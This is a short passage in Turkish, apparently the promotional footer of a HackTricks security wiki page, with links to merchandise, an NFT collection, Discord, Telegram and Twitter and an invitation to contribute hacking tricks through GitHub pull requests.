HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**. * **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**. </details>